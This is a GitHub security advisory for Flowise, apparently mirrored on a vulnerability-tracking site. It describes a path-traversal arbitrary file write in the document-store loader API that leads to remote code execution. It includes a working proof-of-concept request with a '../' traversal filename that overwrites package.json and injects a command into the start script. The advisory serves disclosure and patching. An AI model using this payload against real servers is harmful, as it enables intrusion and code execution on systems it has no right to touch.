GHSA-8VVX-QVQ9-5948
Vulnerability from github – Published: 2025-03-14 18:48 – Updated: 2025-03-14 18:48Summary
An attacker could write files with arbitrary content to the filesystem via the /api/v1/document-store/loader/process API.
An attacker can reach RCE(Remote Code Execution) via file writing.
Details
All file writing functions in packages/components/src/storageUtils.ts are vulnerable. - addBase64FilesToStorage - addArrayFilesToStorage - addSingleFileToStorage
The fileName parameter, which is an untrusted external input, is being used as an argument to path.join() without verification.
const filePath = path.join(dir, fileName)
fs.writeFileSync(filePath, bf)
Therefore, users can move to the parent folder via ../ and write files to any path.
Once file writing is possible in all paths, an attacker can reach RCE (Remote Code Execution) in a variety of ways.
In PoC (Proof of Concept), RCE was reached by overwriting package.json.
PoC
In PoC, package.json is overwritten.
This is a scenario in which arbitrary code is executed when pnpm start is executed by changing the start command in the scripts{} statement to an arbitrary value.
- original start command
"start": "run-script-os",
- modify start command
"start": "touch /tmp/pyozzi-poc && run-script-os",
When a user runs the pnpm start command, a pyozzi-poc file is created in the /tmp path.
1. package.json content base64 encoding
{
"name": "flowise",
"version": "1.8.2",
"private": true,
"homepage": "https://flowiseai.com",
"workspaces": [
"packages/*",
"flowise",
"ui",
"components"
],
"scripts": {
"build": "turbo run build && echo poc",
"build-force": "pnpm clean && turbo run build --force",
"dev": "turbo run dev --parallel",
"start": "touch /tmp/pyozzi-poc && run-script-os", --> modify (add touch /tmp/pyozzi &&)
"start:windows": "cd packages/server/bin && run start",
"start:default": "cd packages/server/bin && ./run start",
"clean": "pnpm --filter \"./packages/**\" clean",
"nuke": "pnpm --filter \"./packages/**\" nuke && rimraf node_modules .turbo",
"format": "prettier --write \"**/*.{ts,tsx,md}\"",
"lint": "eslint \"**/*.{js,jsx,ts,tsx,json,md}\"",
"lint-fix": "pnpm lint --fix",
"quick": "pretty-quick --staged",
"postinstall": "husky install",
"migration:create": "pnpm typeorm migration:create"
}, ... skip
2. Overwrite package.json via /api/v1/document-store/loader/process
Request Body
{
"loaderId": "textFile",
"storeId": "c4b8a8fb-9eb6-47ae-9caa-7702ef8baabb",
"loaderName": "Text File",
"loaderConfig": {
"txtFile": "data:text/plain;BASE64_ENCODEING_CONTENT,filename:/../../../../../usr/src/package.json",
"textSplitter": "",
"metadata": "",
"omitMetadataKeys": ""
}
}
The part after filename: of the txtFile parameter is the value used as fileName in the function.
Add ../ to the filename value to move to the top path, then specify package.json in the project folder /usr/src/ as the path.
Afterwards, when the user starts the server (pnpm start), the added script will be executed. (touch /tmp/pyozzi-poc)
- starting server with touch /tmp/pyozzi-poc command
- /tmp/pyozzi-poc file created
Impact
Remote Code Execution (RCE) Although it is demonstrated here using the file creation command, you can obtain full server shell privileges by opening a reverse shell.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.2.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-14T18:48:44Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nAn attacker could write files with arbitrary content to the filesystem via the `/api/v1/document-store/loader/process` API.\nAn attacker can reach RCE(Remote Code Execution) via file writing.\n\n### Details\nAll file writing functions in [packages/components/src/storageUtils.ts](https://github.com/FlowiseAI/Flowise/blob/main/packages/components/src/storageUtils.ts) are vulnerable.\n- addBase64FilesToStorage\n- addArrayFilesToStorage\n- addSingleFileToStorage\n\nThe fileName parameter, which is an untrusted external input, is being used as an argument to path.join() without verification.\n```javascript\nconst filePath = path.join(dir, fileName)\nfs.writeFileSync(filePath, bf)\n```\nTherefore, users can move to the parent folder via `../` and write files to any path.\n\nOnce file writing is possible in all paths, an attacker can reach RCE (Remote Code Execution) in a variety of ways.\n\nIn PoC (Proof of Concept), RCE was reached by overwriting package.json.\n\n### PoC\nIn PoC, `package.json` is overwritten.\nThis is a scenario in which arbitrary code is executed when `pnpm start` is executed by changing the start command in the `scripts{}` statement to an arbitrary value.\n\n**- original start command**\n````\n\"start\": \"run-script-os\",\n````\n\n**- modify start command**\n````\n\"start\": \"touch /tmp/pyozzi-poc \u0026\u0026 run-script-os\",\n````\n\nWhen a user runs the `pnpm start` command, a `pyozzi-poc` file is created in the `/tmp` path.\n\n#### 1. package.json content base64 encoding\n```json\n{\n \"name\": \"flowise\",\n \"version\": \"1.8.2\",\n \"private\": true,\n \"homepage\": \"https://flowiseai.com\",\n \"workspaces\": [\n \"packages/*\",\n \"flowise\",\n \"ui\",\n \"components\"\n ],\n \"scripts\": {\n \"build\": \"turbo run build \u0026\u0026 echo poc\",\n \"build-force\": \"pnpm clean \u0026\u0026 turbo run build --force\",\n \"dev\": \"turbo run dev --parallel\",\n \"start\": \"touch /tmp/pyozzi-poc \u0026\u0026 run-script-os\", --\u003e modify (add touch /tmp/pyozzi \u0026\u0026)\n \"start:windows\": \"cd packages/server/bin \u0026\u0026 run start\",\n \"start:default\": \"cd packages/server/bin \u0026\u0026 ./run start\",\n \"clean\": \"pnpm --filter \\\"./packages/**\\\" clean\",\n \"nuke\": \"pnpm --filter \\\"./packages/**\\\" nuke \u0026\u0026 rimraf node_modules .turbo\",\n \"format\": \"prettier --write \\\"**/*.{ts,tsx,md}\\\"\",\n \"lint\": \"eslint \\\"**/*.{js,jsx,ts,tsx,json,md}\\\"\",\n \"lint-fix\": \"pnpm lint --fix\",\n \"quick\": \"pretty-quick --staged\",\n \"postinstall\": \"husky install\",\n \"migration:create\": \"pnpm typeorm migration:create\"\n }, ... skip\n```\n\n#### 2. Overwrite `package.json` via `/api/v1/document-store/loader/process`\n\u003cimg width=\"1329\" alt=\"image\" src=\"https://github.com/FlowiseAI/Flowise/assets/86613161/a548732d-4bee-4cd0-8565-54fb8e560500\"\u003e\n\n\u003e **Request Body**\n```json\n{\n \"loaderId\": \"textFile\",\n \"storeId\": \"c4b8a8fb-9eb6-47ae-9caa-7702ef8baabb\",\n \"loaderName\": \"Text File\",\n \"loaderConfig\": {\n \"txtFile\": \"data:text/plain;BASE64_ENCODEING_CONTENT,filename:/../../../../../usr/src/package.json\",\n \"textSplitter\": \"\",\n \"metadata\": \"\",\n \"omitMetadataKeys\": \"\"\n }\n}\n```\nThe part after `filename:` of the `txtFile` parameter is the value used as `fileName` in the function.\nAdd `../` to the filename value to move to the top path, then specify `package.json` in the project folder `/usr/src/` as the path.\n\n\u003cimg width=\"663\" alt=\"image\" src=\"https://github.com/FlowiseAI/Flowise/assets/86613161/13fdc756-f4d3-45f9-9929-fd978f532a02\"\u003e\n\nAfterwards, when the user starts the server (`pnpm start`), the added script will be executed. (`touch /tmp/pyozzi-poc`)\n\n**- starting server with `touch /tmp/pyozzi-poc` command**\n\u003cimg width=\"737\" alt=\"image\" src=\"https://github.com/FlowiseAI/Flowise/assets/86613161/341be379-43ca-4acc-9126-dc398475fcf3\"\u003e\n\n**- `/tmp/pyozzi-poc` file created**\n\u003cimg width=\"751\" alt=\"image\" src=\"https://github.com/FlowiseAI/Flowise/assets/86613161/15707068-c000-4d59-972d-89d969c27087\"\u003e\n\n\n### Impact\n**Remote Code Execution (RCE)**\nAlthough it is demonstrated here using the file creation command, you can obtain full server shell privileges by opening a reverse shell.",
"id": "GHSA-8vvx-qvq9-5948",
"modified": "2025-03-14T18:48:44Z",
"published": "2025-03-14T18:48:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-8vvx-qvq9-5948"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Flowise allows arbitrary file write to RCE"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.